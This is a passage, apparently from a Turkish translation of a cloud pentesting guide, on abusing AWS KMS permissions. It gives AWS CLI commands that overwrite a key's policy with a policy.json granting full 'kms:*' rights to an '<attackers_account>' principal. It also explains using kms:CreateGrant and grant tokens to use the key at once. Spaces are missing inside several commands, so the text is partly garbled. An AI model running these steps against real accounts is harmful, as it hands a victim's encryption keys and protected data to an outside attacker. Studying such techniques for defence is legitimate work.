Bu izinlerle anahtarın erişim izinlerini değiştirmek mümkündür, böylece başka hesaplar veya hatta herkes tarafından kullanılabilir hale getirilebilir:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
Bu, bir yetkilinin bir KMS anahtarını kullanmasına izin verir:
KMS'nin kullanıcıya anahtarı kullanma izni vermesi birkaç dakika sürebilir. Bu süre geçtikten sonra, ilgili kullanıcı KMS anahtarını herhangi bir şey belirtmeden kullanabilir.
Ancak, izni hemen kullanmak gerekiyorsa bir izin belirteci kullanın (aşağıdaki kodu kontrol edin).
Daha fazla bilgi için burayı okuyun.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token